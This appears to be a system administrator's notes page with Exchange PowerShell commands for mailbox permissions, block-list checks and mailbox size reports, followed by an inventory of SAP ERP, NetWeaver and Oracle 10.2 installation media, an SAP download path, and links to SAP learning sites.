Confirm mail flows both inbound and out of your server.(In other words the messages from the queues are disappearing.)
--------------------------------------------------------------

Add Position Email Account and Send As in "Outlook"

Add-MailboxPermission -Identity "IT Support" -User "Zaw Htet" -AccessRights FullAccess -InheritanceType All

Add-ADPermission -Identity "IT Support" -User "Zaw Htet" -AccessRights ExtendedRight -ExtendedRights "Send As" 
 


--------------------------------------------------------------
Get-IPBlockListProvider | Test-IPBlockListProvider -IPAddress 24.167.247.129 
--------------------------------------------------------------

Select top 30 mailboxes by totalitemsize

Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize -Descending | Select-Object DisplayName,TotalItemSize -First 30 


C:\>Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | 
Sort-Object TotalItemSize -Descending | 
Select-Object DisplayName,TotalItemSize -First 100 | Export-CSV top100mailboxes.csv
 

Tuesday, August 2, 2011

SAP Installers

1. SAP ERP 6.0 SR3 (51033500) - Installation Export - disc-1
2. SAP ERP 6.0 SR3 (51033500) - Installation Export - disc-2

3. SAP Netweaver 7.0 SR3 (51033508)
- Kernel 7.0
- Linux on x86_64 64bit
- Windows Server on IA32 - 32bit
- Windows Server on IA64 - 64bit
- Windows Server on x64 - 64bit

4. SAP License Keys & License Audit (Information & Documentation) - (50081125) x 2

5. SAP EHP1 for SAP Netweaver 7.0 SR1 - (51036769)
- Kernel 7.0
- Linux on (IA32 - 32bit / IA 64 - 64bit)
- Linux on (x86_64 64bit, Power 64bit)
- Linux on zSeries 64bit
- OS/400

6. SAP ERP (Enterprise Resource Planning) - Documentation - (50085424)

7. SAP Solution Manager 7.0 EHP1 (installation & Upgrade) - (51037376)
- Kernel NW 7.01 SR1
- RDBMS MaxDB 7.7.04 Build 28
- SAP NW 7.10 Presentation C4
- Documentation, SPS19/20

8. Oracle 10.2 - 32bit / 64bit Client - (51033272)

9. SAP ERP 6.0 SR3 - ERP Components - (51033525)

10. SAP Netweaver 7.0 SR3 - (51033505)
- Kernel 7.00
- HP-UX on IA64 - 64bit
- HP-UX on PA-RISC - 64bit
- Solaris on SPARC - 64bit

11. SAP Netweaver 7.0 SR3 - (51033506)
- Kernel 7.00
- AIX - 64bit
- OS/400

12. SAP Netweaver 7.0 SR3 - (51033507)
- Kernel 7.00
- Linux on IA32 - 32bit
- Linux on IA64 - 64bit
- Linux on Power - 64bit
- Linux on zSeries - 64bit

13. SAP Netweaver 7.0 SR3 - (51033509)
- Kernel 7.00
- Solaris on x64 - 64bit

14. SAP Netweaver 7.0 SR3 - (51033510)
- Kernel 7.00
- z/OS - 64bit

15. SAP AP 7.00 - (51031096)
- Add-On Installation based on SAP Basis Release 700

16. SAP ERP 6.0 SR3 - (51033520)
- Upgrade Master

17. SAP ERP 6.0 SR3 Language - (51033496) - disc1
18. SAP ERP 6.0 SR3 Language - (51033496) - disc2

19. SAP ERP 6.0 SR3 - Upgrade Export - (51033501) - disc1
20. SAP ERP 6.0 SR3 - Upgrade Export - (51033501) - disc2
21. SAP ERP 6.0 SR3 - Upgrade Export - (51033501) - disc3

22. Oracle 10.2 - (51031678) x2
- RDBMS
- Windows Server on IA32 - 32bit
- Windows Server on IA64 - 64bit
- Windows Server on x64 - 64bit

23. Oracle 10.2 - 10g Release 2 Documentation Library - 64bit - (51031687)
- Oracle 10.2 - 32bit

24. Oracle 10.2 - (51036971) x2
- RDBMS Patch 10.2.0.4
- Windows Server on IA32 - 32bit
- Windows Server on IA64 - 64bit
- Windows Server on x64 - 64bit
- True64 - 64bit

25. Oracle 10.2 - Client - 64bit - (51033272)
- Oracle 10.2 - 32bit

26. SAP ERP 6.0 - Support Package Stack 16, Supplement to SAP Netweaver 7.0 (2004s) Stack 18 - (51037818) - disc1 / disc2
- Java Components

27. SAP Netweaver 7.0 (2004S) - Support Package Collection - Stack 18 - (51037046) - disc1 / disc2
- Java Stack 18

28. Oracle 10.2.0.4 - Oracle Failsafe Server 3.4.1.5 for Windows Server 2008 on x64 - 64bit - (51036975) x 2

29. SAP EHP1 for SAP Netweaver 7.0 SR1
- Kernel 7.01
- Windows (IA32 - 32bit, IA64 - 64bit, x64 - 64bit)
- AIX 64bit, z/OS - 64bit)
- HP-UX (IA64 - 64bit, PA_RISC - 64bit)
- Solaris (SPARC - 64bit, x64 - 64bit)

30. SAP Netweaver 7.0 - Presentation - (50095979) x2
- (SAP GUI for windows - 7.10 Comp.4)
- SAP GUI for JAVA 7.10
- Server Components, Content Server
- Adobe LiveCycle Designer

31. SAP Business Suite 2005 - (51033526)
- Java Components for
SAP ERP 6.0 SR3
SAP CRM 5.0 SR3
SAP SCM 5.0 SR3
SAP SRM 5.0 SR3

32. SAP (Supplier Relationship Management) - SRM_MDM Catalog 2.0 - SP01 - Installation & Upgrade - (51032915)

33. SAP Business Suite Solutions from SAP (SAP XRPM 4.0 SAP PPM 4.0 - (50082706)

34. SAP Catalog Content Management 2.0_640 / 2.0_700 - Add-On Installation / Upgrade - (51031320)

35. SAP SRM 5.0 - HTML help for Windows - (50077158)

36. SAP SRM 5.0 SR3 Server 5.5 - Upgrade Export - (51033480)

37. SAP SRM 5.0 SR3 Server 5.5 - Upgrade Master - (51033479)

38. SAP SRM 5.0 SR3 - SRM Components - (51033478)

39. SAP SRM 5.0 SR3 - Language - (51033477)

40. SAP SRM 5.0 SR3 Server 5.5 - Installation Export - (51033476)

41. SAP Solution Manager 7.0 EHP1 - Support Package Stack 19 and Stack 20 - (51037400)

42. SAP Solution Manager 7.0 EHP1 - (50095760)

43. SAP Solution Manager 7.0 EHP1 - Installation Master - (51036441)

44. SAP Solution Manager 7.0 EHP1 - Upgrade Master - (51036444)

45. SAP Solution Manager 7.0 EHP1 - Upgrade Export - (51036445)

46. SAP Solution Manager 7.0 EHP1 - Java based Software Components - (51036446)

47. SAP Solution Manager 7.0 EHP1 - Language - (51036447)

48. SAP Solution Manager 7.0 EHP1 - Installation Export - (51036442) - disc1
49. SAP Solution Manager 7.0 EHP1 - Installation Export - (51036442) - disc2

50. Oracle 10.2 - 32bit / 64bit - (51031687) - 10g Release 2 Documentation Library

51. SAP Netweaver 7.0 - Support Package Stack 17 - Including BI Content Add-on 3 SP 09 - (50091399)

52. SAP Netweaver 7.0 SR3 - Java Based Software Components - (51033513)

53. SAP Netweaver 7.0 SR3 - Development Workplace - (51033522)

54. SAP Netweaver 7.0 SR3 - Search and Classification (TREX 7.00) - (51033523)

55. SAP Netweaver 7.0 SR3 - LiveCache 7.6.03 Build 08 - (51033491)

56. BI Content 7.04 - Business Intelligence Content - Add-On Vers. 4 - (51033499)

57. Job Scheduler (OEM) - 6.0.2 SP5 - (51032411)

58. SAP Netweaver 7.0 SR3 - Language - (51033495)

59. SAP Business Suite 2005 - (51033511)

60. SAP Netweaver 7.0 SR3 - Upgrade Master - (51033512)

61. SAP Netweaver 7.0 SR3 - Installation Export - (51033493)

62. SAP Netweaver 7.0 SR3 - Upgrade Export - (51033494)

SAP ERP 6.0 on Linux (Oracle)

To download SAP for Linux.
http://www.service.sap.com/swdc
-->Downloads
-->Installations and Upgrades
-->My Companys Application Components
-->SAP ERP
-->SAP ERP 6.0
-->IDES-Version
-->LINUX-->oracle

- 51031676_1 DVD ORACLE RDBMS 10.2 LINUX_X86_64 (1 of 4)
- 51033508_9 NW 7.0 SR3 UC-Kernel 7.00 Linux on x86_64 64bit
- 51034992_8 ERP 6.0 SR3 IDES Installation Master Linux on x86_64 64bit
- 51034985_1 IDES SAP ERP 6.0 SR3 Inst. Export (1 to 23)
- 51036968_3 ORACLE RDBMS Patch 10.2.0.4 Linux on x86_64 64bit

--------------------------------------------------------------------

- 50081125 CD SAP License Keys & License Audit
- 50085424_1 ODoc. SAP ERP 2005 SPS08 (ECC 6.0) (1 of 5)
- 51031687 DVD Oracle 10.2 Rel. 2 Document. Library
- 51033272 ORACLE 10.2 Client
- 51033505_1 NW 7.0 SR3 Kernel 7.00 HP-UX on IA64 64bit
- 51033506_1 NW 7.0 SR3 Kernel 7.00 AIX 64bit
- 51033507_1 NW 7.0 SR3 Kernel 7.00 Linux on IA32 32bit
- 51033508_2 NW 7.0 SR3 Kernel 7.00 Linux on x86_64 64bit Upgrade ABAP
- 51033509_1 NW 7.0 SR3 Kernel 7.00 SOLARIS on x64 64bit (1 of 3)
- 51033510_1 NW 7.0 SR3 Kernel 7.00 z/OS 64bit (1 of 4)
- 51033513_1 NW 7.0 SR3 SP14 Java based SW Comp. (1 of 4)
- 51033523 NW 7.0 SR3 Search/Class. (TREX 7.00)
- 51033526 BS 2005 SR3 Java Components
- 51033525 SAP ERP 6.0 SR3 Components
----------------------------------------------------------------------------------
http://books4sap.blogspot.com/
http://sapbasisbooks.blogspot.com
http://sappress.blogspot.com/
http://sapebook.blogspot.com/
http://sapbimeterials.blogspot.com
http://www.saptechies.com/sap-press-boooks/
http://gadapasubhash.blogspot.com/
http://sapro.blogspot.com/
http://sapupdate.blogspot.com/
http://sap4learn.blogspot.com/
http://sap-on-linux.blogspot.com/
http://myadmin.wordpress.com/
http://www.sap-at-oracle.net/
https://dbamohsin.wordpress.com/category/oracle-10g/
http://www.sap-basis-abap.com/
http://www.sap-basis-abap.com/sapbs.htm
http://www.erpgenie.com/
http://searchsap.techtarget.com/tutorial/SAP-Basis-training-tutorial
http://www.sapcertified.info/
http://www.way2sap.com
http://www.sap4you.com
http://www.integraservices.co.uk
http://www.path2sap.com
http://www.emc.com/products/series/networker.htm#/2
https://community.emc.com/community/connect/networkeronline
http://www.freelancer.com/projects/arc-tag/sap-ecc-installation-linux-oracle.html?per=500